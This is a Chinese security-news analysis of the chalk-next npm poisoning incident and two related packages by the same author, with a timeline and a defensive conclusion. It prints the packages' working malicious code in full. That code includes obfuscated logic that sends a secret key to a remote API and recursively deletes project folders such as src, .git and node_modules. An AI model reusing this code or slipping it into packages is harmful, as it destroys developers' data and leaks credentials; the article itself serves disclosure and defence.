npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

一、事件简述

1月5日,有开发者在 twitter 中发文称遭遇了名为 chalk-next 的组件投毒事件,该组件存在收集配置信息和删除本地文件的恶意逻辑,当前 NPM 仓库已经下线了该组件。

chalk-next 组件的开发者也是 vue-admin-beautiful 项目的作者 chuzhixin,vue-admin-beautiful 项目在 GitHub 中拥有 13.5K 的 star 数。

经过分析,包括 chalk-next 在内,作者发布的 chokider-next、vue-plugin-rely 包中的类似逻辑被用于识别、惩罚盗版行为,此事件也在 V2EX 等开发者社区中引起较多讨论。

二、事件过程

1月5日,@ewind1994 在 twitter 中发推文称发现了一个 PR(代码合并请求)试图针对他们 GitHub 项目投毒,该PR是将原有的chalk依赖修改为chalk-next,而chalk-next通过判断运行环境中的配置信息,在一定条件下会删除当前目录下的特定目录文件(包括.vscode、src、public、.git、.svn、mock、node_modules)。

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

当天 19:05,在用户投诉后,NPM 官方仓库删除了 chalk-next 包,目前已无法下载。

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

当天 19:11,在 V2EX 社区中有其他开发者发帖(https://v2ex.com/t/906834)描述了该事件相关信息

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

1 月 6 日 9:39,@chu1204505056 在推特中回应@ewind1994

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

1月6日 10:32,开发者 chuzhixin 在 GitHub 仓库(https://github.com/chuzhixin/chalk-next)中挂出一段说明,声称@ewind1994 一直在对其恶意攻击。

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

1月6日 11:27,开发者 chuzhixin 在AFFiNE项目中提出 issue(https://github.com/toeverything/AFFiNE/issues/676)质疑此前出现PR的原因。

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

三、投毒包分析

经过分析,该作者总共发布了 chalk-next、chokidar-next、vue-plugin-rely 三个 NPM 包都存在类似的删除文件逻辑。

chalk-next 分析

通过 NPM 仓库中可以看到 chalk-next 组件每周下载量200+,从 2021 年 6 月开始更新,使用了 chalk 的 readme 信息,存在很强的迷惑性。

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除
npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

历史版本信息:

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

从代码中可以看到,通过NODE_ENV环境变量判断当前不属于开发环境时,会将VUE_GITHUB_USER_NAMEVUE_APP_SECRET_KEY和当前时间发送到特定的API,返回数据的状态码为 202 时,会将./.vscode./src./public ./.git ./.svn ./mack ./node_modules这些文件路径传入到名为thanks的函数,该函数会删除传入的文件或目录。恶意代码片段如下

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

chokidar-next 分析

其在 NPM 仓库中使用的用户 vabjs,在发布的其他包中也存在类似的恶意行为,如chokidar-next,当前仍可下载。

npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

使用相同的thanks 方法从系统上删除./vscode ./.git ./.svn ./src/vab ./library ./src/store ./public ./mock目录,触发的条件不同,只通过环境变量判断,而没有请求远程 API。代码片段如下:

function thanks(path) {
    var files = [];
    if (fs.existsSync(path)) {
      files = fs.readdirSync(path);
      files.forEach(function (file) {
        var curPath = path + "/" + file;
        if (fs.statSync(curPath).isDirectory()) {
          thanks(curPath);
        } else {
          fs.unlinkSync(curPath);
        }
      });
      fs.rmdirSync(path);
    }
  }
  
  !(() => {
    if (
      process.env["u004eu004fu0044u0045u005fu0045u004eu0056"] !==
      "u0064u0065u0076u0065u006cu006fu0070u006du0065u006eu0074"
    ) {
      var key =
        process.env[
          "u0056u0055u0045u005fu0041u0050u0050u005fu0053u0045u0043u0052u0045u0054u005fu004bu0045u0059"
        ];
      if (!key) {
        thanks("./.vscode");
        thanks("./package.json");
      } else {
        if (
          key !=
            "u0066u0077u0066u006du0069u0061u006fu0036u0032u0034u0030u0039u0033u0035u0039u0039" &&
          key != "u0070u0072u0065u0076u0069u0065u0077"&&
          key != "vabp"
        ) {
          if (key.length < 50 || key.substring(key.length - 2) != "==") {
            thanks("./.vscode");
            thanks("./library");
            thanks("./src/vab");
            thanks("./src/store");
            thanks("./public");
            thanks("./.git");
            thanks("./.svn");
            thanks("./mock");
          }
        }
      }
    } else {
      var key =
        process.env[
          "u0056u0055u0045u005fu0041u0050u0050u005fu0053u0045u0043u0052u0045u0054u005fu004bu0045u0059"
        ];
      if (!key) {
        thanks("./.vscode");
        thanks("./src/vab");
      }
      if (
        key !=
          "u0066u0077u0066u006du0069u0061u006fu0036u0032u0034u0030u0039u0033u0035u0039u0039" &&
        key != "u0070u0072u0065u0076u0069u0065u0077"&&
        key != "vabp"
      ) {
        if (key.length < 50 || key.substring(key.length - 2) != "==") {
          thanks("./.vscode");
          thanks("./.git");
          thanks("./.svn");
        }
      }
    }
  })();
  
  exports.watch = watch;

vue-plugin-rely 分析

vue-plugin-rely组件包也存在与chalk-next相同的逻辑,代码增加了混淆,同时在文件开头有一句针对盗版破解的注释声明,其代码如下:

/* 破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任 */
const _0x6462 = [
  'log',
  'unlinkSync',
  'NODE_ENV',
  'existsSync',
  'then',
  'getTime',
  'readdirSync',
  'post',
  './node_modules',
  './public',
  'statSync',
  'VUE_APP_SECRET_KEY',
  'forEach',
  './.git',
  'https://**********',
  './.vscode',
  'env',
  'bgRed',
]
const _0x27fc = function (_0x646269, _0x27fce6) {
  _0x646269 = _0x646269 - 0x0
  let _0x3f0e99 = _0x6462[_0x646269]
  return _0x3f0e99
}
const axios = require('axios')
const chalk = require('chalk')
const fs = require('fs')
function thanks(_0x3503fb) {
  var _0x54aa51 = []
  //console['log'](fs[_0x27fc('0x3')](_0x3503fb))
  if (fs['existsSync'](_0x3503fb)) {
    _0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
    _0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
      var _0x258bf5 = _0x3503fb + '/' + _0x60171a
      if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {
        thanks(_0x258bf5)
      } else {
        fs[_0x27fc('0x1')](_0x258bf5)
      }
    })
    fs['rmdirSync'](_0x3503fb)
  }
}
!(() => {
  if (process['env'][_0x27fc('0x2')] !== 'development') {
    axios({
      url: _0x27fc('0xe'),
      method: _0x27fc('0x7'),
      data: {
        customUserId: process['env']['VUE_GITHUB_USER_NAME'],
        secretKey: process['env']['VUE_APP_SECRET_KEY'],
        timestamp: new Date()[_0x27fc('0x5')](),
      },
    })
      [_0x27fc('0x4')](({ data }) => {
        if (data['code'] == 0xca) {
          thanks('./.vscode')
          thanks('./src')
          thanks(_0x27fc('0x9'))
          thanks(_0x27fc('0xd'))
          thanks('./.svn')
          thanks('./mock')
          thanks(_0x27fc('0x8'))
        }
        if (data['code'] != 0xc8) {
          console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
        }
      })
      ['catch'](() => {
        if (
          process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
          process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
        ) {
          thanks(_0x27fc('0xf'))
          thanks('./src')
          thanks('./public')
          thanks('./.git')
          thanks('./.svn')
          thanks('./mock')
          thanks('./node_modules')
        }
      })
  }
})()

四、总结

从开发者chuzhixin的回应和代码中的行为来看,作者的行为可能难以定义是恶意还是正义,所幸当前应该没有造成实质性的危害。但通过-next复刻原有项目重新发布确实容易令人混淆,对于使用开源组件的众多开发者而言又是一次信任的崩塌,开源不等于免费,也不等于安全,在使用中还是需要仔细甄别。

对于企业而言,类似的开源组件投毒的情况每天都在发生,需要及时建立相应的检测识别、处置响应能力。

(0)
上一篇 2023年8月9日 下午5:33
下一篇 2023年8月9日 下午5:43

相关推荐

  • 在线编程 IDE =远程网络攻击?

    背景: 黑客通常使用受感染的机器而不是直接从个人拥有的设备发起攻击,这使他们能够隐藏其来源。在最近的事件响应中,Profero 的事件响应团队调查了一种可能的情况,假设威胁参与者使用 Datacamp 的在线 IDE 对云基础设施发起攻击。但是,因为Datacamp、ISP 和在线 IDE 之间错综复杂的关系,使得Profero 的事件响应团队对使用云 ID…

    2023年8月9日
    0
  • 中路对线发现正在攻防演练中投毒的红队大佬

    背景 2023年8月14日晚,墨菲安全实验室发布《首起针对国内金融企业的开源组件投毒攻击事件》NPM投毒事件分析文章,紧接着我们在8月17日监控到一个新的npm投毒组件包 hreport-preview,该投毒组件用来下载木马文件的域名地址竟然是 img.murphysec-nb.love(如下图1),且该域名注册时间就是8月14号,投毒者使用的注册邮箱同样…

    2023年8月18日
    0
  • 投毒者对 PyPi 上的开源组件开发者下手了

    简述 OSCS 近期监测到 PyPi 官方发布公告称有攻击者针对 PyPi 上的开源组件开发者进行钓鱼,试图窃取 PyPi 贡献者的凭据。本次攻击是通过贼喊捉贼的假装PyPi官方给恶意包发邮箱进行钓鱼,开发者可以通过开启2FA认证防止被攻击者窃取凭据后更改项目。 钓鱼事件 通过钓鱼邮件获取 PyPi 贡献者的凭据 根据PyPi官方发布的公告得知: PyPi …

    2023年8月9日
    0
  • shaikhyaser在NPM 仓库中投放67个恶意包

    一、事件简述: 7 月 16 日 ,OSCS 安全社区监测到shaikhyaser一天内在NPM仓库中不间断投放了十多个组件包,这些组件包都包含恶意行为。截止到21日,该用户已向 NPM 仓库投放了 67个不同版本的的恶意组件包,这些包也在代码中注明了该用户的邮箱,推测是hackerone中的用户。 这些恶意包的攻击方式相同,下面来分析其攻击手法。 二、 手…

    2023年8月9日
    0
  • 多个不同名称的 PyPI 包中发现 W4SP 窃取器

    威胁参与者已经向 Python 包索引(PyPI)发布了另一轮恶意软件包,目的是在受到威胁的开发人员机器上发布窃取信息的恶意软件。 有趣的是,尽管这个恶意软件有很多名字,比如ANGEL Stealer,Celestial Stealer,Fade Stealer,Leaf $tealer,PURE Stealer,Satan Stealer和@skid St…

    2023年8月9日
    0